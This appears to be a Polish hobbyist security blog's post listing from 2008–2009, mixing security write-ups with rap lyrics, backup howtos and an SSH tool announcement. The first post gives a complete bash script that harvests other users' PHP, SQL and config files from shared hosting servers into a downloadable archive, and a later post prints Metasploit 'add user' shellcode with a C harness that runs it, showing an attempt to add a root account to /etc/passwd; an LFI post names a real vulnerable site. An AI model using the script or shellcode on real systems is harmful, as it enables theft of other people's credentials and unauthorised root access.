Usługi hostingowe i niepoprawne uprawnienia

Posted in newsy by crony on the styczeń 5th, 2009

scull

W celu sprawdzenia czy uprawnienia nadawane na pliki w systemach firm hostingowych są poprawne napisałem prosty skrypt, który wykonuje całą brudną robotę za nas. Okazuje się, że z jednego serwera hostingowego, na którym mamy dostęp, np do shella można ściągnąć i po kilkadziesiąt megabajtów danych użytkowników. W jaki sposób? W bardzo prosty. Zazwyczaj można się spotkać z sytuacją gdy nie ma możliwości wylistowania katalogu /home celem poznania nazw katalogów tam znajdujących się.

Od czego zatem mamy plik /etc/passwd? OK, a więc nazwy katalogów domowych użytkowników już znamy. Jednak przy listowaniu zawartości tych katalogów również otrzymujemy Permission denied (wszystko, za sprawą braku prawa x). Wiemy natomiast, że każdy katalog domowy użytkownika, np. /home/tester posiada podkatalog public_html! Co się okazuje? Można go listować ! A więc znamy nazwy plików tam znajdujących się i co najlepsze : możemy je czytać, a nieraz nawet i modyfikować. W zawartości plików możemy znaleźć loginy i hasła do baz danych, pliki .htaccess z hasłami, hasła do paneli administracyjnych, itd…

A wszystko przez niepoprawnie nadawane uprawnienia oraz niepoprawnie ustawione maski dla nowotworzonych plików. Niebawem planuję poinformować o tym fakcie szersze grono przedstawiając raport na temat bezpieczeństwa kilku firm hostingowych:> Poniżej skrypt, który tworzy paczkę z danych użytkowników - gotową do ściągnięcia i rozpakowania na własnym dysku:D :

#!/bin/bash

USERS=`awk -F “:” ‘ { print $1 } ‘ /etc/passwd`
NASTY_DIR=”/tmp/YTSAN.012200000″
NASTY_PACK=”/tmp/ytsan.012″

if [ -d $NASTY_DIR ]; then
rm -fr $NASTY_DIR
fi

if [ -f $NASTY_PACK ]; then
rm -f $NASTY_PACK
fi

mkdir $NASTY_DIR

for a in $USERS; do
if [ -d /home/$a/public_html ]; then
mkdir $NASTY_DIR/$a
find -L /home/$a/public_html -type f > $NASTY_DIR/$a/files_list.txt
find -L /home/$a/public_html -type f \( -name ‘*.txt’ -o -name ‘*.php’ -o -name ‘*inc’ -o -name ‘*.php4′ -o -name ‘*.php5′ -o -name ‘*.sql’ \) -exec cp {} $NASTY_DIR/$a \;
fi
done

tar -czf $NASTY_PACK $NASTY_DIR 2&> /dev/null
rm -fr “$NASTY_DIR”
echo “All evil’s done…”

LFI - Local File Inclusion

Posted in newsy by crony on the styczeń 5th, 2009

Błędy typu LFI - Local File inclusion - typowe, wykorzystywane przez atakujących pozwalające przeglądać dowolny plik na serwerze, do których użytkownik, z którego serwer www został uruchomiony posiada prawa. Przypadkowo natknąłem się na stronę: www.czyscik.com. Stron z błędami tego typu jest cała masa. Wystarczy pogoglować i podopisywać odpowiednie parametry do zmiennych, które tego typu strony przyjmują… O błędzie oczywiście poinformowałem… Poniżej plik /etc/passwd z serwera:

(więcej…)

“Przetrwasz” feat. O.S.T.R.

Posted in newsy by crony on the grudzień 12th, 2008

Te słowa mówią wszystko:

Przetrwasz, zamknij się, słuchaj masz
siłę, ducha, styl, który wybucha, patrz
to otucha, milcz, kiedy nie ma tarcz,
ktoś do ucha mówi Ci, że nie ma tego złego, walcz.

Przetrwasz, zamknij się, słuchaj masz
siłę, ducha, styl, który wybucha, patrz
to otucha, milcz, kiedy nie ma tarcz,
ktoś do ucha mówi Ci, że nie ma tego złego, walcz.

Czasem tak bywa, nie każdy wygrywa,
czasem bywa tak, że cos ważnego się urywa,
zostaje ślad, nie mozna tego nie przeżywać,
można ukrywać fakt, ale w snach, to przypływa,
człowiek jest skonstruowany tak, by sie dostosowywać
i jeśli Bóg miał swój plan, to ty mu wybacz,
to ty też musisz mieć swój i się nie odzywać.
Nie możesz okłamywać się, że nikt cię nie wykiwa,
nieznośna lekkość bytu, słodko gorzki smak ma, jak
magma ze szczytu, prawda na nas opadła,
ty zaryzykuj skoro nic do stracenia nie masz,
życie, to magia,
użyj swojego płomienia, do podpalenia
swojej latarni, marzenia do zobaczenia światła i cienia
w zwierciadłach, od dawna nie ma w nas zwątpienia.
Dlaczego teraz miałbys umierać?
Tego wszystkiego nie zaznać?

(więcej…)

Shellcode - jak sprawdzić czy działa poprawnie?

Posted in newsy, programowanie, unix/linux by crony on the grudzień 12th, 2008


Shellcode to nic innego jak kod maszynowy podawany bezpośrednio do wykonania przez procesor w postaci gotowych instrukcji. Zapisany jest zazwyczaj w postaci heksadecymalnej. Tego typu forma musi zostać zachowana i jest konieczna do wykorzystywania shellcodów przy tworzeniu exploitów wykorzystujących błędy w oprogramowaniu. Jedną z najważniejszych cech poprawnego shellcodu jest jego długość (rozmiar) - kod taki powinien być jak najkrótszy czyli dobrze zoptymalizowany. Kolejną bardzo istotną cechą shellcodu jest brak wykorzystania znaków NULL. Dlaczego? Ponieważ NULL oznacza koniec ciągu znaków… a więc nasz shellcode zostałby uwalony np. w połowie podczas kopiowania do pamięci…
Jak więc sprawdzić zarówno jaki rozmiar posiada nasz shellcode jak i czy w ogóle działa ? Poniżej wygenerowany za pomocą metasploitu shellcode o długości 116 bajtów:

unsigned char scode[] =
“\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

Bardzo łatwo można sprawdzić faktyczną długość shellcodu za pomocą kodu poniżej:

char shellcode[] = “moj_shellcode”
int main()
{
int lenght,ret;
lenght = strlen(shellcode);
printf(”%d\n”, lenght);
}

I kolejny kod napisany w C , za pomocą, którego będziemy pewni, że nasz ‘opcode’ działa:

#include
char shellcode[] = “\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe4″
“\x89\x4e\xc4\x83\xeb\xfc\xe2\xf4\xd5\x40\xc7\x0f\x8e\xcf\x16\x09″
“\x64\xe3\x4b\x9c\xd5\x40\x1f\xac\x97\xfa\x39\xa0\x8c\xa6\x61\xb4″
“\x85\xe1\x61\xa1\x90\xea\xc7\x27\xa5\x3c\x4a\x09\x64\x1a\xa6\xe7″
“\xe4\x89\x4e\xa7\x96\xe6\x20\xbd\xde\xc8\x0f\xf2\xdc\xda\x2f\x94″
“\xca\xed\x02\xa7\xb7\xcc\x74\xf4\xde\xb9\x74\xfe\xcb\xb3\x61\xa6″
“\x8d\xe7\x61\xb7\x8c\x83\x17\x4f\xb5\x75\x24\xc0\xbc\x44\xce\xae”
“\xe5\xd1\x83\x44″;

int main (int argc, char **argv)
{
int (*ret)(); /*ret to wskaźnik funkcji */
ret = (int(*)())shellcode; /* ret wskazuje na nasz shellcode */
(int)(*ret)(); /* wykonaj jako funkcję shellcode */
}

Jeśli uruchomisz tego execa z uprawnieniami zwykłego usera otrzymasz:
gdm@slack2:/tmp$ strace ./is
execve(”./is”, ["./is"], [/* 27 vars */]) = 0
uname({sys=”Linux”, node=”slack2″, …}) = 0
brk(0) = 0×804a000
access(”/etc/ld.so.preload”, R_OK) = -1 ENOENT (No such file or directory)
open(”/etc/ld.so.cache”, O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=26720, …}) = 0
mmap2(NULL, 26720, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7f9b000
close(3) = 0
open(”/lib/tls/libc.so.6″, O_RDONLY) = 3
read(3, “\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300P\1″…, 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1366940, …}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7f9a000
mmap2(NULL, 1162428, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e7e000
mprotect(0xb7f93000, 27836, PROT_NONE) = 0
mmap2(0xb7f94000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0×115) = 0xb7f94000
mmap2(0xb7f98000, 7356, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7f98000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e7d000
mprotect(0xb7f94000, 4096, PROT_READ) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e7d6c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xb7f9b000, 26720) = 0
setreuid(0, 0) = -1 EPERM (Operation not permitted)
open(”/etc//passwd”, O_WRONLY|O_APPEND) = -1 EACCES (Permission denied)
write(-13, “crony:AA68SaP.dLcSE:0:0::/:/bin/”…, 35) = -1 EBADF (Bad file descriptor)
_exit(-13) = ?

Shellcode chciał dodać nowego użytkownika ‘crony’ do systemu, ale niestety nie ma na to w tym przypadku uprawnień.

Należy zwracać uwagę na architekturę, na której testujecie takie kody jak powyżej. Wygenerowany shellcode to: Linux IA32 Add User, a więc na x86_64 działać nie będzie, a w efekcie otrzymacie segfaulta.

Skoro działa, pozostaje tylko odpowiednio go wykorzystać:>

SELinux - future of security

Posted in newsy by crony on the grudzień 9th, 2008

Jakiś czas temu znalazłem w internecie (taaak wiem :P )stronę firmy, która jako jedyna w Polsce przyznaje się do wdrażania mechanizmu SELinux dla przedsiębiorstw. Jako, iż tematyka jest po pierwsze bardzo interesująca, a po drugie bardzo popularna w ostatnim czasie (tzn. wielu chce, ale nie wie jak ;> ) postanowiłem udostępnić ciekawy artykuł ich autorstwa na moim hompejdżu;) Poniżej link do PDF-a:
SELinux - podstawa bezpiecznej infrastruktury
Strona firmy: Emerge.pl

Reaktywacja :>

Posted in newsy by crony on the grudzień 8th, 2008

Minął prawie rok bez nowego posta na tej stronie. Czas więc zamieścić kilka nowych wiadomości ;) Dzieje się dużo, dużo nauki za mną, a więc trzeba się nową wiedzą podzielić;) Systematycznie ( taaaaaaaaa… niczym w roku 2008 :P ) będę zamieszczać coś interesującego… ;)
Póki co ponownie zamieszczam teksty, które przed długi długi czas nie były dostępne. Owszem, są to starocie, ale nie jest niemożliwe, że ktoś z chęcią zerknie:

Zrozumieć buffer overflow
Bacula - howto
google-hacking.txt
RSBAC - kompilacja
IPTABLES - Filtrowanie pakietów
RSBAC - pierwszy boot
RSBAC - konfiguracja
BSD zombie parent find without pstree
FTP do lamusa, sftp bezpieczną alternatywą
RSBAC on Slack(wstęp) - howto
Honeypoty
Grsecurity- howto
AES - szyfrowana partycja
NFS+SMB+AFP on Mac OSX
JAIL - howto
AIDE - howto

Wszystkie teksty dostępne są w dziale /texts: http://e-guardian.org/wordpress/index.php/texts

Bacula - howto

Posted in newsy, unix/linux by crony on the styczeń 14th, 2008

bacula

Dla wszystkich zainteresowanych tematem backupów i odzyskiwania danych udostępniam PDF-a mojego autorstwa. Opisuję w nim w jaki sposób ujarzmić projekt Bacula. Od razu podkreślam, że nie ma tam lania wody, jest bałagan w tekście itp itd. Ale jeśli ktoś jest zainteresowany tematem znajdzie w tym dokumencie mnóstwo informacji… :>

Bacula to opensource’owy system do backupowania, odtwarzania i zarządzania danymi, nadający się w pełni do wdrożenia dla infrastruktury produkcyjnej. Polecam!

Link do dokumentu PDF: crony-bacula.pdf

New version - SSHC v0.74-beta

Posted in newsy, programowanie, unix/linux by crony on the styczeń 4th, 2008

Najnowsza wersja SSH connectora zawiera kilka nowych funkcji takich jak sprawdzanie resolvowania domeny na adres IP, sprawdzanie użytkownika uruchamiającego sshc i użycie go jako domyślnego usera (jeśli nie ma wpisu w configu). Oprócz tego dodałem parę zmian do skryptu instalacyjnego. W przyszłości jednak chciałbym z niego zrezygnować na rzecz rozwiązania automake…Link do sshc: sshc.e-guardian.org

SSH connector v0.72-beta released!

Posted in newsy by crony on the grudzień 10th, 2007

ssh

Zdecydowałem się w końcu opublikować beta wersję narzędzia, którego szukałem i nie znalazłem, więc postanowiłem napisać go sam;)

sshc to tool pozwalający łączyć się do zdalnych hostów za pomocą protokołu SSH poprzez graficzne menu. Menu zawiera listę adresów, loginy, porty i typ autentykacji - password lub public key do wyboru - opiera się o plik konfiguracyjny. GUI stworzyłem przy wykorzystaniu biblioteki ncurses, która nie ma co ukrywać, przysporzyła mi niezłej zabawy…

Więcej informacji znajdziesz pod adresem http://sshc.e-guardian.org/index.htm

Z cyklu ’szybki tips’ :)

Posted in newsy, unix/linux by crony on the październik 6th, 2007

Dużo mam na dysku tekstów napisanych przez siebie, których z jakichś powodów nie dokończyłem…Nieważne…Postanowiłem, za każdym razem gdy coś znajdę, opublikować to w formie małego arta, który być może zainteresuje:) Na początek Submountd.

Submountd –> alternatywa dla autofs-a [ na podstawie systemu Gentoo ].
Demon ten pozwoli na automatyczne montowanie pendrive’a (badz innych urzadzen) do katalogu /mnt_auto/pendrive.
System plikow znajdujacy sie na flashu to reiserfs. W podanym przykladzie, automatycznie
montowanym dyskiem jest /dev/sda1. Te informacje umiescimy pozniej w pliku /etc/fstab. (więcej…)

Następna strona »